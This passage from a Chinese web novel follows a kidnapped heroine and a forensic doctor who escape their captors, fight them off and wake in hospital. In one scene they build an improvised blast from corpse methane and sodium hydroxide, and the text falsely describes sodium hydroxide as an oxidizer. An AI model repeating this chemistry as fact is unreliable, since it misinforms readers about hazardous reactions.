她示意温珣弯下腰,凑在他耳边低声问道:“你觉得,他们会对我们怎么样吗?”
温珣似乎也拿捏不准,脸上露出沉吟不绝的神色:“如果他们一开始就没打算让我们活着回去,就没有必要全程戴着面罩了,除非——”
除非,他们的长相被看到了。
一丝凉意无端窜上后背,祝好打了个哆嗦,跟温珣对视了一眼:刚才粗嗓门在屋外扶着墙吐的时候,扯下了自己的面罩,虽然天色很暗,但祝好还是看到了他的脸。
退一万步说,就算他们没暴露自己的长相,但既然知道温珣是法医,想必也知道他是在警局工作的。
如果真的把温珣放走,他们怎么保证他不会将这件事告诉警方,让警方回到这儿,顺着蛛丝马迹找到他们?
如果这样,绑匪还会轻易放他们离开吗?
温珣的脸色也好看不到哪里去,想必也意识到了这一点。他紧紧咬着嘴唇,一丝不易察觉的心浮气躁爬上眉梢:“我们得想个办法逃出去。”
说得简单,可这里位置偏僻、门前窗前都有人守着,他们又手无寸铁,怎么逃?
他焦躁不安地在尸体周围来回踱步,似乎在尝试着将理智从一团乱麻的思绪中剥离出来,半晌后,他镜片之后的眼神落在被男孩被开膛破肚的尸体上,面色有些凝重:“或许,他可以帮我们。”
祝好倏地一愣,顺着他的目光看去,一时间没反应过来:“他?他怎么帮?”
第84章
温珣没有马上答话,抿着嘴唇环顾四周,不知在思索着什么。
祝好不明所以,只好也跟着他的视线在屋里环视了一圈。
第一回进来时,她被粗嗓门用刀架着脖子,只顾着关注颈间那一丝凉意;第二回进来,又被男孩的尸体和浓烈的尸臭攫取了注意力。
这时,她才头一回认认真真打量周围的环境。
屋子面积不大,应该不到十平米。
地板上积着厚厚的尘土,天花板上的蛛网结了一层又一层。除了中间用铺着塑料布的床板简易搭成的解剖台外,角落里还堆着一些没来得及清理的杂物和垃圾,粗略一看,都是些牙刷、毛巾、蚊帐之类的日用品。抹掉挂在墙上的日历上的灰,能看出日期是十多年前的。
之前判断的没错,这里显然年久弃置,没再有过住人的痕迹,估计就连流浪汉也嫌弃这鸟不拉屎的地儿吧。
没水没电是必然的,屋里的光源来自于那种充满电就能用的节能灯泡,因为面积不大,所以也够用。
看了一圈后,温珣的目光又回到了尸体身上,突然没头没脑地问了一句:“祝好,你化学怎么样?”
祝好学的是文科,化学知识早在八百年前就还给高中老师了,她含含糊糊地敷衍:“也……也就一般吧。”
温珣紧接着又问:“那你应该知道甲烷是易燃气体吧?”
知道是知道,这毕竟算是常识,但看着他镜片后那双满怀期待的眼睛,祝好无端有了一种回到课堂上、被老师点名回答问题的窘迫感,生怕他再问出什么超出她知识范畴的问题,连忙把话题拉回正轨:“你是不是有什么计
划了?”
温珣点点头,眼神里有藏不住的兴奋,却没有马上解释,只是问她:“可以把你扎头发的皮筋给我吗?”
祝好不知他葫芦里到底卖的什么药,但还是摘下手套,解开丸子头的皮筋递给他。
他有些亢奋,全然没注意到祝好那一脸信息量过载的迷茫,自顾自地拿起解剖刀,切开了男孩的结肠,用皮筋把一只橡胶手套固定在切口处。
做完这些后,才低声向她解释:“人死后,整个身体处于停摆状态,肠道里会开始产生一些废弃气体,其中就有甲烷。只要时间足够,我们就能够将甲烷收集起来,跟氧化剂一起点燃,可以引发爆炸。”
祝好顺着他的话思考了片刻,明白了他的意思——制造爆炸,不需要多大的爆炸,只需要让粗嗓门和瘦猴分神,他们就有机会逃跑。
可是氧化剂要从哪儿弄到?
温珣仿佛察觉了她的疑问:“浓酸大多具有强氧化性,使蛋白质变性失活,相较于强碱来说,对表皮层的伤害更大,并且会使皮肤被漂白。而强碱不但有腐蚀性,还会与真皮层的脂肪发生皂化反应,使皮肤硬化,还能伤害皮下组织。”
他弯下腰,用手指轻触男孩口鼻周围溃烂的皮肤:“你看他口鼻周围溃烂的皮肤偏硬,而且真皮层也已经受损了,所以我猜他被灌下去的强腐蚀性液体应该是强碱,例如氢氧化钠,这就是十分完美的氧化剂。”
果真是学好数理化,走遍天下都不怕啊!
祝好精神一振,忙问:“那我们接下来要怎么做?”
温珣思忖片刻,指了指墙角那一堆没来得及清理的杂物:“我会想办法从他的体内收集一些剩余的氢氧化钠,除此之外,我们还需要火源以及可以装液体的器皿,最好是敞口的。”
祝好明白:分工合作,他想办法收集氢氧化钠,而自己负责打下手。她拍着胸脯道:“放心,包在我身上。”
说干就干,她找了根木棍,在屋子里到处翻找起来。
装盛液体的容器倒是容易找到,杂物堆里有挺多矿泉水瓶,随便拿一个,用解剖刀割掉瓶口就能用——按照温珣的说法,落入胃袋里的氢氧化钠会和胃酸中和,只有少数进入肺部的还能用,如果不是敞口的容器,很容易浪费掉来之不易的氧化剂。
不过火源就令人头疼了,这地方前不着村后不着店,去哪儿找可以点火的东西?
瘦猴抽烟,身上倒是有打火机,但总不能指望他乖乖把打火机呈上来吧?
祝好心念微动,突然有了主意。
她不动声色地回头看了温珣一眼,他正认真地用解剖刀切开死者的肺部,全然没注意到这边的情况,于是悄悄打开控制面板,点开商城里“礼物”那一栏。
玫瑰花、巧克力……怎么尽是些没用的东西,她边吐槽边继续往下划拉,唱片、领带夹……
有了,打火机!
虽然一个打火机就要100积分,但眼下也不是心疼的时候。她毫不犹豫选择了兑换,下一秒,一只雕刻着精美花纹的复古风打火机就出现在手里。
她假意在杂物堆里扒拉了一下,压低声音惊呼了一声:“温珣,我找到了一只打火机,还能用!”
温珣接过那只做工精致的打火机,脸上闪过一丝疑惑:“在这儿找到的?”
祝好含糊地“嗯”了一声,又连忙岔开话题:“现在东西都齐了,我们要怎么做?”
好在温珣并没有多问,只是看向那只逐渐充盈的橡胶手套,目光微沉:“接下来,我们还需要拖延一些时间。”
……
两个小时后,粗嗓门的耐性终于到了极致,他忿忿地把脚下一地烟头踢开,招呼瘦猴用钥匙打开锁,大力搡开那身本就不算牢固的门:“你们到底在干什么,不就是解剖个尸体吗?为什么会花那么长时间!”
温珣像是被突如其来的声音吓了一跳,手里捧着的一坨稀烂的肠子“哗啦”一下落回剖开的腹腔里,抱歉地对他笑了一下:“解剖已经结束了,我正要把尸体复原呢。”
粗嗓门嫌弃地捂住口鼻,没好气道:“又不是绣花,不用那么精细,随便糊弄过去得了。”
又指着祝好问道:“尸检结果记下来没有?”
他们这回进来,脸上已经没戴着面罩了。粗嗓门露出一张跟他的声音十分相符的脸——皮肤黝黑,眼神凶悍,两条粗眉斜插入鬓,一条深深的疤痕由眼角一直延伸到下颌处。
而瘦猴除了瘦,长得还真挺像个猴:颧骨隆起,两颊凹陷,中庭很长,眼睛又圆又凸,不得不说,这外号起得还怪合适的。
这是铁了心不留活口,索性连脸都不遮了么?
祝好紧张得手心都渗出了一层薄汗,她用力咬了下嘴唇,强迫自己镇定下来,点了点头:“记下来了。”
粗嗓门先是掏出手机对着尸体拍了几张照片,然后拨通了一个电话,才示意她开始,这也印证了祝好对他们“背后有人”的猜测。
她放下手里的缝合针——其实也没打算真的缝合尸体,只是做做样子而已——清了清嗓,按照事先对好的台词,有板有眼地介绍起来:“死者的手臂有约束伤和反抗伤,背部、臀部都有拖拽痕迹,从手臂上留下的手印来看,施虐者不止一人,有可能是多人作案。”
粗嗓门没说话,眼珠子向下,似乎在聆听耳机里电话那头的指示。片刻后,才问道:“具体的死因是什么?”
温珣接过话茬:“死者被灌入高浓度的强碱类物质,口鼻处糜烂,体内多处器官出现溃疡,初步判断他的死因是呼吸道灼伤导致的窒息。”
粗嗓门又问:“有没有发现什么其他不寻常的地方?”
他们一早就商量好暂时把那枚徽章的事隐瞒下来,万一“甲烷爆炸”的计划出了什么岔子,徽章还能当作最后的筹码,所以温珣只答:“从尸体上留下的伤痕来看,施虐者力气不小,而且人数不止一人。”
祝好提醒:“这不仅是谋杀,而且还是虐杀,手段很残忍,性质很恶劣,最好还是报警。”
说这句话的时候,她一直目不转睛观察着粗嗓门的表情,然而他跟瘦猴一样,并没有表现出对这孩子的任何关心,甚至还带着几分事不关己的从容。
他挂断电话,抬起头淡淡一笑:“这就用不着你们操心了。”
温珣喉结轻滚,努力压伏情绪:“既然尸检已经完成了,待会把尸体缝合好,是不是可以就放我们走了?你放心,今天的事我们就当没发生过,绝对不会说出去。”
“当然没问题,你们先缝吧。”
粗嗓门看似答应得爽快,脸上却分明写着“我信你个鬼”,在温珣低头拿缝合针时,就悄悄给瘦猴递了个眼神。瘦猴心领神会,细长的胳膊往后伸,把门锁给锁上了。
这一切被祝好用余光尽收眼底,她深深吸了口气,低声说了句:“就现在。”
温珣动作一顿,目光一凛,突然摘下两只沾满黏液的手套,分别朝粗嗓门和瘦猴的脸上砸去。
在他们下意识闪躲的同时,祝好从“验尸台”下取出了那只混合了甲烷和氢氧化钠、膨胀得像一只气球的橡胶手套,点燃了用从日历上撕下来的纸捻成的“导线”,快速朝他们脚下掷去。
手套上绑了一枚不大不小的砖块,在惯性作用下,砖块带着手套滚到了瘦猴的脚边。
粗嗓门和瘦猴错愕低头,还没来得及做出反应,就听到“嘭”
的一声巨响。霎时间,周围烟尘四起,砖屑、木块乱飞,年久失修的砖房也被突如其来的冲击力炸得颤了一下。
一切都发生在电光火石之间,等粗嗓门回过神时,只觉耳鸣眼花,鼻腔几乎被烟尘填满。
他努力聚焦视线,这才发现本就不牢固的门已经倒塌,身旁的瘦猴正手忙脚乱扑打裤腿上的火焰,嘴里发出凄厉的哀嚎。
而浓雾似的烟尘里,早就没有了祝好和温珣的身影。
第85章
早些时候,祝好还盼着天赶紧亮,浓重的夜色可以埋藏着许多秘密,但只要天一亮,就总能让人看到些希望。
现在她却又觉得黑夜挺好的,仿佛一张密不透风的帷幕,可以将他们的行踪遮掩得一干二净。
然而不遂人愿,天际的深蓝色已经逐渐褪去,露出了一线微弱的鱼肚白。
天马上要亮了。
甲烷造成的爆炸比祝好想象的威力要大许多,本来以为顶多声音响一些,只要能吓到绑匪、给她和温珣制造逃跑的机会就行,没想到巨响过后,不仅碎石横飞,连门都轰然倒塌。
当时来不及多想,她便拖起温珣的手,绕过倒在地上、还没反应过来的的粗嗓门和瘦猴,夺门而出。
这个废弃工厂虽然位置偏僻,但绑匪的皮卡车能开进来,说明一定是有适合行车的路,沿着路走,就能到达大马路。
但是光明正大地走车道就太显眼了,所以她拉着温珣钻车道旁边的野树林,这样既能沿着路跑,又能靠复杂的地形和灌木丛遮蔽身形。
清晨的野树林雾气浓重,祝好精神紧绷,耳边呼呼生风,脸上数次被细小的树枝划得生疼也不敢停下脚步。
也不知跑了多久,眼前还是一望无际的树林,身后温珣的速度却越来越慢,到最后干脆停下脚步,扶着一棵树干大口喘着粗气。
他看起来有些狼狈,头发散乱,眼镜早在混乱中不知掉落在何处了,额角附着一层细密的汗珠,身上却不停在发抖。
祝好一开始以为他是冻着了——风衣容易被树枝挂到、拖慢速度,刚才从屋里出来时就脱掉了,这时他身上只剩下一件单薄贴身的的薄针织衫,而林间雾气缭绕,温度并没有升高。
然而她很快就发觉不对劲——温珣的脸色苍白得有些过头了,下颌线崩得很紧,仿佛在抑制不住的痛苦,左手死死摁着右手大臂。
“温珣,你——”
她轻轻掰开他的左手,却感觉掌心染上一片温热黏稠的濡湿,摊开一看,“还好吗”三个字当即硬生生卡在喉咙里。
是血。
她愣怔片刻,连忙扶住温珣靠着树坐下,这才发现他手臂连同衣服被划开了一道深深的口子,血早已经洇透半只袖子。
再一回头看,路上也依稀有些滴落的血迹。
温珣的声音很轻,仿佛多说一个字都费力:“是……刚才爆炸时,玻璃……”
祝好当即反应过来“把“手套炸弹”掷出去的那一刹那,他们早就做好准备、当即抱头蹲下,温珣还下意识把她护在身下,想来应该就是那时候被迸裂的窗玻璃划到了,只是刚才场面太过混乱、一路上又只顾着奔逃,才完全没有发觉他受了伤。
好在血是缓慢渗出的,说明没有伤到动脉,但还是得先想办法把血止住。
祝好脱下自己的针织外套,把袖子拧起来,尽量紧地缠在他的手臂上方,剩下的部分紧紧摁压在他的伤口上。
这样一来,血是暂时止住了,但疼痛感没法马上消失,只能先原地缓一缓。好在他们倚着的这棵树足够粗壮,周围还有灌木丛蔽身,目前来说还算安全。
温珣终于恢复了点力气,自嘲地笑了笑,说:“对不起啊,祝好,我连累你了……”
祝好打断他:“说什么呢,如果不是你想办法制造爆炸,我们都没法逃出来。”
温珣说:“我的意思是,如果不是我让你陪我去挑礼物,又拉着你去看什么展,我们也不会被人盯上。”
“别这么想,不关你的事。”
她倒不是客气,而是实话实说。这回的绑架八成是触发了什么新剧情,跟他没什么关系。换个角度想,说不定还是因为自己,才把他卷进来的呢。
温珣只当她是在安慰自己,艰难地笑了一下,阖眼养神,没再说话。
天色亮了起来,视野也逐渐清晰,没有了夜色的掩护,祝好无端觉得危险的气息又开始萦绕在周围。
她查看了温珣的伤口,已经没再流血了,这才松了口气:“你再歇会儿,天完全亮之前,我们——”
话说到一半,她突然噤了声,同时也捏紧了温珣的手,示意他别说话。
不远处有悉悉簌簌的动静,像是有人拨开了杂乱的灌木,然后是一阵急乱的脚步声。听起来是双底很硬的鞋子,每走一步,就“咔嚓”碾碎地上的残枝落叶。
祝好小心翼翼地从树干后探出脑袋,循声望去,隐约从半人高的杂草的罅隙中觑见一个壮硕、熟悉的身影,顷刻间头皮一麻,喉头发干——是粗嗓门。
好消息是,只有他一个人,瘦猴多半是在爆炸中受了伤,被留在原地了。
坏消息是,温珣受了伤,战斗力约等于零,所以这头也只剩下她一个人。
更坏的消息是,粗嗓门手里有刀,而她身上却没有任何可以防御或者攻击的东西。
从脚步声判断,粗嗓门距离他们不到二十米,只要他发现地上的血迹,一路顺着找,过不了多久就能找到这儿。
温珣也听到了动静,他强忍疼痛,催促道:“祝好,你先走,我想办法拖住他。”
祝好迟疑了一下,脑子飞快运转,觉得不现实:他伤成这样,自身难保,怎么拖?粗嗓门两刀就能把他解决了,也一定不会放过自己。
说得难听点儿,到时候连个替他们收尸的人都没有。
她打定主意,扶住温珣的肩膀,简短有力地交代他:“温珣,你听我说。我待会会把他引开,然后你打起精神来,沿着路走,想办法到大马路上拦住过往的车辆。”
温珣挣扎着一把扯住她:“不行,这样太危险了……”
祝好又一次打断他:“你现在这个样子根本拦不住他,他把你杀了,撵上我,我一样活不了。我帮你拖延时间,你尽快想办法联系秦警官,再找人回来救我。你放心,我机灵着呢,不会有事的。”
温珣还想说些什么,但祝好没给他机会,因为脚步声已经越来越近了。
她快速点开控制面板,查看了自己的体力值,不多不少,还剩一半,于是又兑换了50体力值——既然是要逃跑,体力值当然是越多越好。
体力值兑换成功后,她从地上摸出一块石子,用力朝着远处掷去,果不其然,粗嗓门顿住脚步,警惕地朝石子落地的方向看去。
趁他分神的工夫,祝好起身撒腿就跑。
粗嗓门很快也反应过来,只不到一秒钟时间,立刻回身朝她追来。
祝好不敢回头,也不敢停下脚步,不辨方向在树林里狂奔。
还好,这一路还算顺利,没有出现电影里那种不小心被树枝绊倒的狗血情节,凭借身材的优势穿梭在灌木丛里,甚至与身后的粗嗓门拉开了一段距离。
然而跑着跑着,祝好却发现不太对劲——眼前的景致逐渐变得熟悉起来。
她心一凉,刚才只顾着跑,完全没注意方向,没想到绕了一大圈,又回到了废弃的员工宿舍,所幸粗嗓门应该是跟丢了,暂时没追上来。
一个瘦长的身影奄奄一息靠坐在墙边,是瘦猴,他的一条裤腿已经烧没了,小腿上一片血肉模糊的焦黑,嘴里正低低呻吟着。
活该。
祝好暗骂一声,脚步没停,刚要钻回树林里,就听到身后传来瘦猴虚弱
的声音:“站、站住,别跑……大哥,她在这儿……”
靠,刚才怎么没把你炸死!
祝好一咬牙,扭头回到墙边,捡起瘦猴掉落在地上的鞋子,用鞋底狠狠往他脸上“啪啪”抽了好几下。
瘦猴本就因为腿上的烧伤疼得奄奄一息、动弹不得,被她这么一抽,两眼一翻,昏死过去。
这下好了,没办法告密了。
祝好刚要转身跑,余光突然瞥见地上有什么东西,定睛一看,竟然是一把车钥匙。想来应该是爆炸时从他们身上掉落的,混乱之中,竟然没人发现。
上天果然还是眷顾她的!祝好心下一喜,拾起钥匙,拔腿就沿着小路往工厂跑——她记得那辆黑色的皮卡车就停在工厂门口。
可当她用钥匙开了车门跳上车,伸腿一探时,心登时凉了半截——
怎么又是手动挡,她上辈子是跟手动档有仇吗?
好在之前恶补过手动档的口诀,虽然没有实战经验,但在这种危急时刻,也只能放手一试。
祝好深吸一口气,踩下刹车点火,心里默念口诀,手脚上动作也没拉下:“踩离合,挂一档,松手刹……”
接下来是什么?对了,抬离合,抬脚刹……
嘭嘭嘭!
一阵急促又愤怒的敲击声把祝好吓了一激灵,她扭头看向车窗外,正对上粗嗓门那张愤怒到扭曲的丑脸,没想到他居然这么快就追上来了,这时正握紧拳头砸着车门,嘴里不停骂着粗话。
祝好收回目光,注视前方,强迫自己定神,嘴里继续念叨:“最后一步,加油走……”
车果然启动了,平稳向前方开去,祝好握紧方向盘转向车道,却听后车后传来“咚”的巨响,还伴着一阵晃动。
她下意识抬眼望向后视镜,却见粗嗓门不知什么时候攀上了后车厢,手里举着一把铁锤,正一下一下用力往后档玻璃上砸。
该死!她踩下离合,换到二档,然后猛踩油门,车速终于又提升了一些。
祝好心里燃起了希望,她强迫自己不要去注意车厢的动静,只要稳定提速,能把车开到公路上,她就安全了。
可没等她高兴,就听到“哗啦”一声,后档玻璃居然被粗嗓门砸碎了!眼看他半个身子已经探进车里,祝好来不及思考,迅速换档,用力把油门踩到底,然后又一脚急刹的同时,把方向盘向左打死。
疾驰的皮卡车恍如受惊的野兽,轮胎与崎岖的路面产生剧烈的摩擦,猛然向左转了个半圆,“嘭”一声撞到树上。
强大的惯性迎面推来,把祝好狠狠往前一扯,又重重拍回座位上,好在她谨遵“系好安全带,生命不打折”的口号,就算急着逃命也没忘记把安全带系上,这时除了胸口发紧、颈椎被震得有些疼之外,没什么其他外伤。
而粗嗓门就惨了点,他刚从被砸碎的后档床爬进车里,又被强大的惯性甩在后座上,跟一堆碎玻璃渣滚作一团。
这车估计是专门为了绑架他们准备的,性能本就不好,再经过这么猛烈的撞击,估计是彻底报废了。
祝好没时间关注粗嗓门的惨状,一脚踹开变形的车门,正打算跳车离开,却觉得颈间一紧,整个人被一股力道掼回座位上。
第86章
祝好眼前一黑,金花炸开,下意识把手抬到脖颈处,摸到了几乎要箍进皮肉里的麻绳。
逐渐模糊的视线里,她从后视镜里看到了粗嗓门那张狰狞的面孔,他看起来真的愤怒到了极致,鼻孔差不多要跟眼珠子一样大了,眉毛几乎要竖起来,咬牙切齿地说:“臭娘们儿,本来想两刀了结你的,但是我改变主意了,不能让你死得那么轻松!”
好老土的反派台词。
颈间的皮肤被粗糙的麻绳磨得生疼,粗嗓门的力道之大,让祝好根本无法动弹,强烈的窒息感让她太阳穴发胀,全身的血液都往脑门上涌,鼓膜里心跳如雷,沉重而缓慢。
意识已经开始模糊了,但是祝好强撑着一口气——不行,她还不想死,更不想死在这野树林里,她还有那么多事没完成。
几乎是电光火石间,她打开了控制面板——好在虽然视线充血,但眼前的控制面板还是很清晰。她点进商城,选择了一瓶“高级香槟”,下一秒,手里便多了个沉甸甸的酒瓶。
她握紧瓶口,不管不顾地奋力向后一砸,“咚”的一声闷响,酒瓶悍然撞上了粗嗓门的脑袋。
这一下祝好几乎使尽全力,手臂都被震得微微发麻,而瓶子居然没碎。
不得不说,高级香槟的质量还挺好的。
粗嗓门脑门上本就沾着些后档玻璃的碎片,猝不及防被砸得两眼一黑,碎片扎进皮肤里。他吃痛“嗷”了一声,手上的力也松了几分。
觑着这个机会,祝好摸到座椅旁边调节靠背的按钮猛地一掰,迅速将靠背放倒——手动挡有手动挡的好处,如果是那种慢腾腾的自动座椅,可就麻烦了。
脖子上的束缚一松,新鲜空气顷刻间涌回肺里,祝好大口喘着粗气,艰难地撑着身子坐起来,推开车门想要下车。脚底触到地面的一刻,却双膝发软,整个人扑通跪倒在地。
体力值的十分钟有效期早已结束,原本的那50点体力也所剩无几。
她又一次点开控制面板,却发现积分只剩下15点了,只够兑换15点体力值。少是少了点,但聊胜于无,至少还能让她找个隐蔽的地方藏起来。
刚点了兑换,却觉得头皮传来一阵剧痛,眼前天旋地转,后背被狠狠掼在粗糙的地面上。
下一秒,视线里出现了粗嗓门的身影,鲜血顺着他被玻璃扎破的伤口流了一脸,看起来更凶恶狰狞了。他单膝跪地,高高举起手臂,手里的弹簧刀闪着森然的寒光冲着她的脸落下。
祝好心道不好,好在手里的香槟没扔,来不及多想,便下意识抬手朝着寒光的方向抡去。
又是一声闷响,香槟瓶子似乎是砸到了粗嗓门的手腕,他猛吸了口凉气,手一松,弹簧刀直直坠落,几乎是同一时间,祝好把脑袋往旁边一扭,刀锋擦着她的耳廓而过,“哐当”掉落在地面上。
真没想到啊,高级香槟竟是全场MVP。
她卯足全身力气,屈肘往粗嗓门最脆弱的裆部撞去。粗嗓门闷哼一声,目眦欲裂,脸色涨红,捂着裆部跪倒在地。
“我可真牛啊。”祝好心想。
耳边响起体力归零的倒计时警铃,不能再拖了,她咬咬牙,翻身捡起弹簧刀,踉跄着往前跑。
没跑出多远,她就清晰地感觉到两条腿在发颤,力气逐渐从身体里抽离,紧接着“扑通”一下倒在地上,几乎一丝力气也没有了,面板上的体力值只剩下一个刺眼的、红色的“2”,浑身大小伤口随着脉动的跳动一抽一抽地疼。
糟了,体力马上要耗尽了。
她艰难地翻了个身,想把弹簧刀往灌木丛里扔,却发现手已经没法抬起来了,因为粗嗓门的军靴,已经踩在了她的手臂上。
祝好叹了口气,心里想:可惜了,如果她是那种爽文里的大女主该多好,法力无边,杀伐果断,上一秒看着憋屈,下一秒就能打脸,不用像现在一样窝囊地等死。
可现实是,她就算穿进游戏里,也依旧是个普通人,没有超能力,肉身还是一样脆弱。虽然绑定了一个系统,但积分一清零,本就没什么存在感的系统跟废了没什么区别。
不过,她好歹努力过了,之前换个桶装水都觉得费力,现在居然能凭一己之力跟一个壮汉打得有来有回。
努力过,但是没有成功,那就坦然接受失败吧。
也不知道温珣怎么样了,自己拖延了那么长时间,他能顺利逃到大马路、找到人求救吗?
就算赶不及回来救自己,能替她收个尸也是挺好的。
哦,对了,昨天出门前忘了给白眼狼放猫粮。不过就算没有她,程述应该也能把它养得很好吧。
程述……
真奇怪,人都要死了,现实世界的事她一点儿也不留恋,却突然想起了程述。
……想起他小心翼翼给自己的手心上药时,暖黄色的灯光落在他微垂的睫毛尖上。
粗嗓门弯下腰,从她掌心里拾起弹簧刀,但祝好已经不在意了。预知了结局,她的内心忽然平静,最后看了一眼被朝阳染成金黄色的
天空。
真美啊。
眼前的光被粗嗓门投下的阴影遮住,祝好缓缓闭上眼睛。下一秒,他应该就要举起刀子插进自己胸口了吧。
刚进游戏时,好不容易躲过许安宁那一刀,没想到最后还是要死在刀下,难道这就是命中注定吗?
希望……别太疼。
……
“砰!”
一声枪响炸开,回荡在树林上方。
祝好猛地睁眼,看到林颠惊起一片飞鸟,一个身影带着风声飞快从眼前掠过,忽地把粗嗓门扑倒在地,紧接着是拳头砸到皮肉的闷响,一下,一下,又一下。
“祝小姐,祝小姐!快叫救护车!”
是秦聿风的声音。
呼,好像不用死了。
祝好长长吁了口气。
拳拳到肉的声响还在继续,秦聿风吼了一句:“老程,住手!再打他就没命了!”
程述也来了吗?
祝好吃力地转动眼珠,看到程述的脸出现在视线里。
他跪在地上,一只胳膊撑着地,轻拍她的脸,布满红血丝的眼底有她从未见过的焦灼:“祝好,你别睡着,打起精神来。”
祝好想说她没事,只是太困了,话到嘴边,却变成一句:“老大,你给白眼狼放猫粮了吗?”
程述倏尔一愣,片刻后才回答:“放了。”
放了就行,白眼狼那么胖,少吃一顿肯定会饿吧。
她又问:“温珣呢?”
秦聿风说:“我们在公路上看到他,已经把他送去医院了。”
那就好,温珣也安全了,那她就能放心睡了。
她又一次闭上眼睛,放松身心。
迷糊中,她感觉被人抱了起来,耳边有清晰有力的心跳,鼻尖萦绕着熟悉的、淡淡的沐浴露香味。
她的意识又开始涣散了,像是碎成了无数轻盈的碎片,纷纷扬扬落进不见底的深渊中。
*
祝好觉得自己睡了一个很长很长的觉,再睁开眼时,她一时没适应眼前的光线,花了好一会儿才让模糊的视线重新聚焦。
先是白色的天花板,明晃晃的日光灯,然后是输液瓶。
是医院。
身旁有细微的声响,她吃力地转动脑袋,看到床边有个一个蓝色的头顶,仔细回忆了片刻,才试探性问了一句:“月月?”
月月正在平板电脑上画图,听到祝好叫她,猛地抬起头,满脸惊喜:“祝好,你醒啦?”
“嗯,我……”
月月似乎猜到她要说什么,自顾自解释:“你已经睡了两天了,准确地说,是两天一夜,不过医生说了你没什么大碍,可能就是太累了,歇几天就好。”
说完合上平板,起身揿下床头的呼叫铃。
“那你……”
“哦,我啊?程哥说一时找不到合适的护工,他又不方便帮你换衣服、擦身什么的,就让我来帮帮忙。反正我晚上习惯熬夜画图,在哪儿都一样。”
祝好轻轻皱眉:“程述?”
月月说:“嗯,他守了你一天一夜了,我刚让他回去休息。对了,我得给他打个电话,告诉他你醒了——”
祝好抬手阻止她:“不用,让他睡会儿吧。”
病房门被推开,医生来了。
还是那套熟悉的流程,先是用电筒照了她的瞳孔,又询问她是否有哪里不舒服。
祝好闻言轻轻活动了一下手脚——除了睡太久造成的僵麻之外,身上的确有些痛,不过应该是些不太严重的皮外伤或者瘀伤。
医生点点头,跟护士嘱咐了几句,又交代她好好休息就离开了。
医生前脚刚走,月月又凑上来:“哎,祝好。”
“嗯?”
“听那些警察说,你失踪那天,程哥急得眼睛都红了,一个晚上都没睡,一直在想办法找你。”
祝好愣了一下,刚清醒的大脑转得慢,一时没听出她话里的八卦意味,只是讷讷地回了句:“是吗?”
记忆逐渐回笼,她只记得她倒地的时候听到枪响,然后看到一个模糊的身影朝粗嗓门扑去,接着就是拳拳到肉的声响。
那应该就是程述吧。
如果没有秦聿风拦着,粗嗓门就算不死,估计也要被程述揍得半残。
看她满脸呆滞,月月自觉话多了,连忙截住话头:“对不起啊,我话太多了,你再睡会儿,我在这儿陪你。”
祝好摇摇头,她睡了两天一夜,早就睡够了。而现在,她满脑子都被疑问填满——
温珣还好吗?手臂被割出那么深一道伤口,应该不会影响他将来拿解剖刀吧?
粗嗓门和瘦猴都被抓到了吗?他们又没有说出谁是在背后指使他们的人?
还有……
那个死去的男孩,究竟是谁,经历了什么?
第87章
祝好检查了一下自己身上的伤,脖子被粗糙的麻绳磨掉一层皮、有些刺痛,胳膊、腿上和脸上有不少擦伤和划伤,后背也有些疼,让月月帮忙掀起病号服看了一眼,才发现是一大片紫色的淤青,应该是被粗嗓门掼在地上时摔伤的。
好在这些伤都不算严重,只要动作幅度不大,基本不会影响日常生活。
她下意识想去拿手机给温珣发个信息,问问他的伤怎么样了。手摸到枕边,才想起来绑匪把他们从展馆的停车场掳走时手机早就掉了。
那台手机还没用多久呢,可惜了。
想了想又觉得自己好笑,命都差点儿没了,还关心手机。
不过在现代社会生存,没有手机,也确实不太方便。祝好点开控制面板,本来想看看商城里有没有手机能买,却发现自己的积分居然有250点。
怎么回事?之前明明已经清零了,这250点的积分是哪儿来的?
她思索了一会儿,突然想到什么,点开了温珣的资料,发现好感度那一栏的数值是40,比原先一下子多了25点。
祝好很快明白过来,就跟之前救了李砚川那回一样,温珣和她共同度过了这么惊险的一个夜晚,自己又为了救他差点没命,好感度当然会提升了。
至于为什么没听到系统提示,多半是因为前两天她一直处在昏迷状态吧。
正当她胡思乱想,病房门又一次被推开,这回来的竟然是程述。
祝好愣了一下,月月不是说他回去休息了吗,自己醒来也才半个多小时,他怎么又回来了。
月月看出了她的疑问,朝她做了个鬼脸:“程哥走之前交代过我,如果你醒了第一时间告诉他。啧,你看他急的。”
祝好这才注意到他一脸风尘仆仆,估计也就是回家匆匆洗了个澡、换了身衣服就赶过来了,头发还只是半干,甚至连下巴上的青灰色的胡茬都没来得及刮干净。
她心里油然而生一丝感动:这位领导虽然平时嘴毒了点,关键时候还是挺关心下属的身心健康的。
月月接过他手里的袋子打开,“哟”了一声:“程哥,你这准备得还挺周到,精挑细选的吧?”
程述面无表情:“随便买的。”
月月把袋子里的东西一件一件拿出来看:“牛奶、坚果、橘子……优质蛋白和维生素C有利于伤口恢复,程哥,你‘随便’得还挺精准。”
“……”程述不动声色地咬了咬嘴唇,露出一个和颜
悦色的笑容:“月月,既然她已经醒了,你就不用在这儿守着了,回去歇着吧,来回车费哥报销,辛苦了。”
“噢,这是要送客了?”月月起身伸了个懒腰,意味深长地瞥他一眼:“我在这儿确实不太方便,那我就先回去了。”
程述挥挥手,示意她赶紧走。
祝好一开始还没想明白为什么“不方便”,想了想,倏尔恍然:自己想跟程述讨论案情,有她在确实不太方便。
尔后得出结论:月月真是太贴心了。
她问程述:“老大,温主任怎么样了?”
她住的是间单人病房,没有其他病人在,也不用刻意压低声音说话。
程述掀起眼皮看她,漫不经心地答:“在家休养呢,也就受了点皮外伤而已。”
“皮外伤?看起来挺严重的呢。”祝好比划了一下:“我当时看了伤口,有那么深,那么长……”
像温珣这样的学术派,细皮嫩肉的,多晒点太阳都嫌热,那个伤口对他来说可不能算是皮外伤。
程述打断她:“你还不是一身的伤,先关心关心自己吧,家长还没见着,怎么挑个礼物就差点把人都给挑没了。”
祝好噎了一下,总觉得他话里有话,又一时想不出个所以然。
绑架的事才过去两天,但她还是有些恍惚,总觉得那段经历跟做梦一样。
她突然想到什么:“那两个绑匪都抓到了吗?”
“嗯。”
“那具尸体呢?就是那个男孩,他的身份查出来了吗?”
程述没说话,从袋子里拿了瓶牛奶扔给她:“医生说你现在最好先吃点流食,你先补充一下体力,我再慢慢跟你说。”
祝好哦了一声,拆开牛奶盒上的吸管插上,程述这才拉了张椅子坐下,把两天对粗嗓门和瘦猴的审讯情况大致跟她说了。
粗嗓门大名孙彪,是个在逃的通缉犯,几年前在老家跟人打架时失手把人给打死了,之后一直辗转在各个城市,靠接些“脏活”维生。
